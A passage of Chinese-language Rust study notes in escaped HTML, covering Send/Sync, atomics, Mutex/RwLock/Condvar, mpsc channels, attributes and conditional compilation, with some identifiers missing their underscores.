&lt;li&gt;&lt;code&gt;join&lt;&#x2F;code&gt;的返回值为&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;，若线程发生panic而没有正常返回，则返回值为&lt;code&gt;Err&lt;&#x2F;code&gt;而不是&lt;code&gt;Ok(T)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;thread::LocalKey&amp;lt;T: static&amp;gt;&lt;&#x2F;code&gt;表示thread local storage，tls变量的lifetime必须是&lt;code&gt;static&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过&lt;code&gt;std::threadlocal! {...}&lt;&#x2F;code&gt;宏创建tls变量，其中的static变量声明都会被处理为tls变量&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;code&gt;key.with(|t| {...})&lt;&#x2F;code&gt;使用tls变量&lt;code&gt;key&lt;&#x2F;code&gt;，它接受一个&lt;code&gt;FnOnce(&amp;amp;T) -&amp;gt; R&lt;&#x2F;code&gt;，返回一个&lt;code&gt;R&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;tls变量只能通过&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;访问，因此若要修改tls变量必须用到&lt;code&gt;Cell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;或&lt;code&gt;RefCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Rust中有两个特殊的Trait&lt;code&gt;Send&lt;&#x2F;code&gt;和&lt;code&gt;Sync&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Send&lt;&#x2F;code&gt;表示该类型的ownership可以在thread之间转移&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Sync&lt;&#x2F;code&gt;表示该类型可以被多个thread引用，更准确地定义是&lt;code&gt;T: Sync&lt;&#x2F;code&gt;当且仅当&lt;code&gt;&amp;amp;T: Send&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;裸指针没有实现&lt;code&gt;Send&lt;&#x2F;code&gt;和&lt;code&gt;Sync&lt;&#x2F;code&gt;，其余基本类型（不包括引用）都实现了&lt;code&gt;Send&lt;&#x2F;code&gt;和&lt;code&gt;Sync&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;数组、tuple、struct、enum等组合类型，其成员实现了&lt;code&gt;Send&lt;&#x2F;code&gt;或&lt;code&gt;Sync&lt;&#x2F;code&gt;，则该类型自动实现&lt;code&gt;Send&lt;&#x2F;code&gt;或&lt;code&gt;Sync&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;引用不会默认实现&lt;code&gt;Send&lt;&#x2F;code&gt;或&lt;code&gt;Sync&lt;&#x2F;code&gt;，关于引用的规则如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;T: Sync&lt;&#x2F;code&gt;，则&lt;code&gt;&amp;amp;T: Send  Sync&lt;&#x2F;code&gt;且&lt;code&gt;&amp;amp;mut T: Sync&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;T: Send&lt;&#x2F;code&gt;，则&lt;code&gt;&amp;amp;mut T: Send&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Cell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;、&lt;code&gt;RefCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;没有实现&lt;code&gt;Sync&lt;&#x2F;code&gt;，&lt;code&gt;Rc&lt;&#x2F;code&gt;没有实现&lt;code&gt;Sync&lt;&#x2F;code&gt;和&lt;code&gt;Send&lt;&#x2F;code&gt;，通常都是这类具有*interior mutability*，但实现方式线程不安全的类型，会不实现&lt;code&gt;Sync&lt;&#x2F;code&gt;和&lt;code&gt;Send&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shared-memory&quot;&gt;Shared Memory&lt;&#x2F;h3&gt;
&lt;p&gt;在&lt;code&gt;std::sync::atomic&lt;&#x2F;code&gt;中提供了底层的同步原语，包括内存屏障（memory barrier）和原子操作：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Ordering&lt;&#x2F;code&gt;有以下几种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Relaxed&lt;&#x2F;code&gt;: 相当于C++11的&lt;code&gt;memoryorderrelaxed&lt;&#x2F;code&gt;，没有任何Happen-Before约束&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Release&lt;&#x2F;code&gt;: 相当于C++11的&lt;code&gt;memoryorderrelease&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Acquire&lt;&#x2F;code&gt;: 相当于C++11的&lt;code&gt;memoryorderacquire&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;AcqRel&lt;&#x2F;code&gt;: 相当于C++11的&lt;code&gt;memoryorderacqrel&lt;&#x2F;code&gt;，其Acquire和Release操作之间不是SC的（允许&lt;code&gt;Release-&amp;gt;Acquire&lt;&#x2F;code&gt;乱序成为&lt;code&gt;Acquire-&amp;gt;Release&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SeqCst&lt;&#x2F;code&gt;: 相当于C++11的&lt;code&gt;memoryorderseqcst&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;compilerfence(order: Ordering)&lt;&#x2F;code&gt;提供了编译器级别的内存屏障&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;order&lt;&#x2F;code&gt;为&lt;code&gt;Relaxed&lt;&#x2F;code&gt;则panic&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fence(order: Ordering)&lt;&#x2F;code&gt;提供了CPU指令级别的内存屏障&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;order&lt;&#x2F;code&gt;为&lt;code&gt;Relaxed&lt;&#x2F;code&gt;则panic&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AtomicBool&lt;&#x2F;code&gt;, &lt;code&gt;AtomicI8&#x2F;I16&#x2F;I32&#x2F;I64&#x2F;Isize&#x2F;U8&#x2F;U16&#x2F;U32&#x2F;U64&#x2F;Usize&lt;&#x2F;code&gt;, &lt;code&gt;AtomicPtr&lt;&#x2F;code&gt;（包装了一个裸指针&lt;code&gt;mut T&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;load(&amp;amp;self, Ordering) -&amp;gt; T&lt;&#x2F;code&gt;: load的同时emit内存屏障&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;store(&amp;amp;self, T, Ordering)&lt;&#x2F;code&gt;: store的同时emit内存屏障&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;swap(&amp;amp;self, T, Ordering) -&amp;gt; T&lt;&#x2F;code&gt;: 首先swap操作是原子的，其次至少具备&lt;code&gt;Ordering&lt;&#x2F;code&gt;指定的barrier语义&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;compareandswap(&amp;amp;self, current: T, new: T, order: Ordering) -&amp;gt; T&lt;&#x2F;code&gt;: 首先CAS操作是原子的，其次至少具备&lt;code&gt;Ordering&lt;&#x2F;code&gt;指定的barrier语义&lt;&#x2F;li&gt;
&lt;li&gt;此外还有&lt;code&gt;compareexcahnge&lt;&#x2F;code&gt;, &lt;code&gt;fetchadd&lt;&#x2F;code&gt;, &lt;code&gt;fetchsub&lt;&#x2F;code&gt;等，详情可查阅文档&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;高级的同步原语自然是mutex和rwlock，分别是&lt;code&gt;sync::Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;sync::RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;。Rust中的锁和数据绑定，这是为了防止访问数据时忘记加锁。通常都是将锁放在智能指针里进行使用，如&lt;code&gt;Arc&amp;lt;Mutex&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Arc&amp;lt;RwLock&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;先来看&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，其中&lt;code&gt;T&lt;&#x2F;code&gt;作为值直接嵌入在&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;中，不涉及引用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;具有*interior mutability*，多个对其持有shared reference的线程可以各自进行加锁，从而修改其内嵌的&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Mutex::new(x)&lt;&#x2F;code&gt;创建一个新的mutex&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Mutex::lock(&amp;amp;self) -&amp;gt; LockResult&amp;lt;MutexGuard&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;加锁&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;首先，返回值是一个&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;类型，若返回&lt;code&gt;Err&lt;&#x2F;code&gt;则表示该mutex处在poisoned状态，通常我们直接&lt;code&gt;unwrap()&lt;&#x2F;code&gt;即可&lt;&#x2F;li&gt;
&lt;li&gt;所谓poisoned就是当thread在持有锁时发生panic，则该锁会进入poisoned状态，不允许其他线程加锁&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;MutexGuard&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;是一个RAII类型，在它析构（drop）时会将锁释放&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;MutexGuard&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;和&lt;code&gt;DerefMut&lt;&#x2F;code&gt;，因此可以直接进行解引用操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;再来看&lt;code&gt;RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，其中&lt;code&gt;T&lt;&#x2F;code&gt;也是作为值直接嵌入在&lt;code&gt;RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;具有*interior mutability*，多个对其持有shared reference的线程可以各自获取写锁，从而修改其内嵌的&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;RwLock::new(x)&lt;&#x2F;code&gt;创建一个新的rwlock&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;RwLock::read(&amp;amp;self) -&amp;gt; LockResult&amp;lt;RwLockReadGuard&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;获取读锁&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;返回值是&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;类型，&lt;code&gt;Err&lt;&#x2F;code&gt;表示poisoned，对于读写锁只有当thread在持有写锁时panic才会进入poisoned状态，在持有读锁时panic不会影响读写锁的状态&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;RwLockReadGuard&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;在析构时会将读锁释放，它实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;因此可以进行读取&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;RwLock::write(&amp;amp;self) -&amp;gt; LockResult&amp;lt;RwLockWriteGuard&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;获取写锁&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RwLockWriteGuard&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;在析构时会将写锁释放，它实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;和&lt;code&gt;DerefMut&lt;&#x2F;code&gt;因此可以读写&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外我们还有conditional variable&lt;code&gt;sync::Condvar&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Condvar::new()&lt;&#x2F;code&gt;创建一个新的conditional variable&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Condvar::wait(&amp;amp;self, MutexGuard&amp;lt;a, T&amp;gt;) -&amp;gt; LockResult&amp;lt;MutexGuard&amp;lt;a, T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;进行等待&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在等待的同时会释放锁，当被唤醒时会自动重新获取锁，若获取失败则会返回&lt;code&gt;Err&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Condvar::notifyone(&amp;amp;self)&lt;&#x2F;code&gt;唤醒一个等待的线程&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;Condvar::notifyall(&amp;amp;self)&lt;&#x2F;code&gt;唤醒所有等待的线程&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;message-passing&quot;&gt;Message Passing&lt;&#x2F;h3&gt;
&lt;p&gt;Rust中message passing功能由&lt;code&gt;std::sync::mpsc&lt;&#x2F;code&gt;提供，其中&lt;code&gt;mpsc&lt;&#x2F;code&gt;意为Multiple Producer Single Consumer：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过&lt;code&gt;mpsc::channel&amp;lt;T&amp;gt;() -&amp;gt; (Sender&amp;lt;T&amp;gt;, Receiver&amp;lt;T&amp;gt;)&lt;&#x2F;code&gt;创建channel的两端&lt;&#x2F;li&gt;
&lt;li&gt;或通过&lt;code&gt;mpsc::syncchannel&amp;lt;T&amp;gt;(usize) -&amp;gt; (SyncSender&amp;lt;T&amp;gt;, Receiver&amp;lt;T&amp;gt;)&lt;&#x2F;code&gt;创建channel的两端&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Sender&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;不是&lt;code&gt;Sync&lt;&#x2F;code&gt;的，必须通过clone来实现multiple producer&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;T: Send&lt;&#x2F;code&gt;则&lt;code&gt;SyncSender&amp;lt;T&amp;gt;: Sync&lt;&#x2F;code&gt;，因此只需通过shared reference即可实现multiple producer&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Sender&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;是一个non-blocking的sender：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;send(&amp;amp;self, T) -&amp;gt; Result&amp;lt;(), SendError&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;是non-blocking的发送操作&lt;&#x2F;li&gt;
&lt;li&gt;返回&lt;code&gt;Ok&lt;&#x2F;code&gt;不代表receiver能收到该消息，只是表示发送成功&lt;&#x2F;li&gt;
&lt;li&gt;返回&lt;code&gt;Err&lt;&#x2F;code&gt;表示receiver已经被销毁&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;SyncSender&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;有一个固定大小的buffer，其大小在调用&lt;code&gt;syncchannel&lt;&#x2F;code&gt;时指定：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;send(&amp;amp;self, T) -&amp;gt; Result&amp;lt;(), SendError&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若buffer size为0，则会block直到receiver收到消息&lt;&#x2F;li&gt;
&lt;li&gt;否则，会block直到能将消息放入buffer，但不保证receiver收到消息&lt;&#x2F;li&gt;
&lt;li&gt;返回&lt;code&gt;Err&lt;&#x2F;code&gt;表示receiver已经被销毁&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;trysend(&amp;amp;self, T) -&amp;gt; Result&amp;lt;(), TrySendError&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若不能立即发送，则返回&lt;code&gt;Err&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;TrySendError&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;是一个enum，包含&lt;code&gt;Full(T)&lt;&#x2F;code&gt;和&lt;code&gt;Disconnected(T)&lt;&#x2F;code&gt;两种variant&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Receiver&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;负责接收消息：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;recv(&amp;amp;self) -&amp;gt; Result&amp;lt;T, RecvError&amp;gt;&lt;&#x2F;code&gt;: blocking操作，若channel上可能会来消息，则会一直保持等待&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;返回&lt;code&gt;Err&lt;&#x2F;code&gt;表示所有的sender都已经被销毁&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tryrecv(&amp;amp;self) -&amp;gt; Result&amp;lt;T, TryRecvError&amp;gt;&lt;&#x2F;code&gt;: non-blocking操作，&lt;code&gt;TryRecvError&lt;&#x2F;code&gt;是一个enum，包含&lt;code&gt;Empty&lt;&#x2F;code&gt;和&lt;code&gt;Disconnected&lt;&#x2F;code&gt;两种variant&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;recvtimeout(&amp;amp;self, Duration) -&amp;gt; Result&amp;lt;T, RecvTimeoutError&amp;gt;&lt;&#x2F;code&gt;: 等待消息到来，直到超时为止&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for msg in rx {}&lt;&#x2F;code&gt;: 从receiver可以获得iterator，因此我们可以直接对receiver使用for循环&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;attributes&quot;&gt;Attributes&lt;&#x2F;h2&gt;
&lt;p&gt;Attribute分为两种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#![attr]&lt;&#x2F;code&gt;: inner attribute，作用于attribute所在的item&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;#[attr]&lt;&#x2F;code&gt;: outer attribute，作用于紧接着的item&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;#[attr]&lt;&#x2F;code&gt;中的&lt;code&gt;attr&lt;&#x2F;code&gt;称为*meta item*，其格式如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;A::attr&lt;&#x2F;code&gt;: 首先必须有一个*simple path*，后面的内容可选&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A::attr = &quot;abc&quot;&lt;&#x2F;code&gt;: 可以跟一个&lt;code&gt;=&lt;&#x2F;code&gt;加上literal（数字、字符串）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;A::attr(meta1, ..., $metaN)&lt;&#x2F;code&gt;: 递归定义，每个&lt;code&gt;$meta&lt;&#x2F;code&gt;可以是一个literal或一个meta item&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;现在来看条件编译，一个条件编译的predicate形式如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;id&lt;&#x2F;code&gt;, &lt;code&gt;id= &quot;str&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;all(pred1, ..., $predN)&lt;&#x2F;code&gt;, &lt;code&gt;any(pred1, ..., $predN)&lt;&#x2F;code&gt;: 其中&lt;code&gt;$pred&lt;&#x2F;code&gt;为条件编译的predicate&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;not($pred)&lt;&#x2F;code&gt;: 其中&lt;code&gt;$pred&lt;&#x2F;code&gt;为条件编译的predicate&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们可以用&lt;code&gt;#[cfg($pred)]&lt;&#x2F;code&gt;对紧接着的item进行条件编译，例如&lt;code&gt;#[cfg(targetos = &quot;macos&quot;)]&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以使用&lt;code&gt;#[cfgattr(attr0, attrN)]&lt;&#x2F;code&gt;来条件启用attributes，例如&lt;code&gt;#[cfgattr(linux, path = &quot;linux.rs&quot;)]&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在表达式中，可以使用&lt;code&gt;cfg!($pred)&lt;&#x2F;code&gt;宏，当predicate为真时，会展开为&lt;code&gt;true&lt;&#x2F;code&gt;，否则展开为&lt;code&gt;false&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;常用的predicate如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;target_arch = &quot;x86&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_feature = &quot;avx&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_os = &quot;windows&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_family = &quot;unix&quot;&lt;&#x2F;code&gt;, &lt;code&gt;target_family = &quot;windows&quot;&lt;&#x2F;code&gt;: 目前只有这两个family，分别可以简写为&lt;code&gt;unix&lt;&#x2F;code&gt;和&lt;code&gt;windows&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_env = &quot;gnu&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_endian = &quot;little&quot;&lt;&#x2F;code&gt;, &lt;code&gt;target_endian = &quot;big&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_pointer_width = &quot;32&quot;&lt;&#x2F;code&gt;, &lt;code&gt;target_pointer_width = &quot;64&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;target_vendor = &quot;unknown&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;test&lt;&#x2F;code&gt;: 仅在&lt;code&gt;rustc --test&lt;&#x2F;code&gt;, &lt;code&gt;cargo test&lt;&#x2F;code&gt;时编译&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;debug_assertions&lt;&#x2F;code&gt;: 编译&lt;code&gt;debug_assert!&lt;&#x2F;code&gt;宏，默认仅在不开启优化时编译&lt;code&gt;debug_assert!&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;proc_macro&lt;&#x2F;code&gt;: 表示当前crate以&lt;code&gt;proc-macro&lt;&#x2F;code&gt;类型编译，这种类型的crate只允许导出procedural macro&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;crate的编译类型包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;bin&quot;]&lt;&#x2F;code&gt;: 即binary crate&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;lib&quot;]&lt;&#x2F;code&gt;: 即library crate，生成什么类型的library是compiler defined的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;dylib&quot;]&lt;&#x2F;code&gt;: 生成动态链接库（&lt;code&gt;*.so&lt;&#x2F;code&gt;, &lt;code&gt;*.dll&lt;&#x2F;code&gt;, &lt;code&gt;*.dylib&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;包含metadata，只能被Rust程序链接&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;staticlib&quot;]&lt;&#x2F;code&gt;: 生成静态链接库（&lt;code&gt;*.a&lt;&#x2F;code&gt;, &lt;code&gt;*.lib&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用途是提供给其他语言的程序使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;cdylib&quot;]&lt;&#x2F;code&gt;: 生成动态链接库&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用途是提供给其他语言的程序链接&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;rlib&quot;]&lt;&#x2F;code&gt;: 生成「Rust库」，只能被Rust编译器链接到Rust程序&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[crate_type = &quot;proc-macro&quot;]&lt;&#x2F;code&gt;: 只导出procedural macro&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;上文已经介绍过关于测试的attribute：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#[test]&lt;&#x2F;code&gt;: 将函数标记为测试函数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;#[ignore = &quot;why ignored&quot;]&lt;&#x2F;code&gt;: 令测试函数默认被忽略&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;#[should_panic(expected = &quot;msg&quot;)]&lt;&#x2F;code&gt;: 使测试函数panic时测试通过，否则测试失败&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;下面再介绍一些内置的attribute：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[derive(PartialEq, Clone)]&lt;&#x2F;code&gt;: 可以自动实现Trait&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[inline]&lt;&#x2F;code&gt;: 提示编译器inline该函数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#[inline(always)]&lt;&#x2F;code&gt;, &lt;code&gt;#[inline(never)]&lt;&#x2F;code&gt;: 强制编译器inline&#x2F;不要inline该函数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
